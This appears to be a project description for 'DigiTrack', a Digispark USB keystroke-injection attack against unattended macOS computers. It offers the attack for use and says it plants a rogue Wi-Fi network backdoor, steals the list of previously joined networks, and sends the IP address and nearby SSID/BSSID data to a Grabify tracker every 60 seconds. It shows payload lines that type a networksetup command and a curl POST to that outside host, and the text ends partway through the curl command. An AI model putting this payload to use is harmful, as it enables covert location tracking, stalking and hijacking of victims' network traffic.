DigiTrack - In 30 seconds, this attack can learn which networks a MacOS computer has connected to before, and plant a script that tracks the current IP address and Wi-Fi network every 60 seconds. 

Now includes Hardtracker - Digispark VPN buster to send the IP address and BSSID/SSID of nearby Wi-Fi networks on a MacOS computer to a Grabify tracker every 60 seconds.

This is a $5 attack that does a couple of things:

  1. Inserts a Wi-Fi backdoor onto a victim computer, allowing you to capture the victim's data connection at any time when you are in Wi-Fi range.
  2. Steals a list of every network the victim has ever connected to (for tracking, classifying, and hijacking data connection)
  3. Inserts a tracking job that sends the IP address and currently connected network to a Grabify link every 60 seconds.

The attack DigiTrack goes: A victim leaves a MacOS computer unattended for 30 seconds. The attacker inserts a DigiSpark board loaded with an attack payload. The payload looks like this (with delays and single keystrokes removed):

DigiKeyboard.print("networksetup -setairportnetwork en0 'sneakernet' 00000000");
  • We add the network "Sneakernet" to our trusted network list and connect to it.
DigiKeyboard.print("curl -m 10 --silent --output /dev/null -X POST -H "Content-Type:....
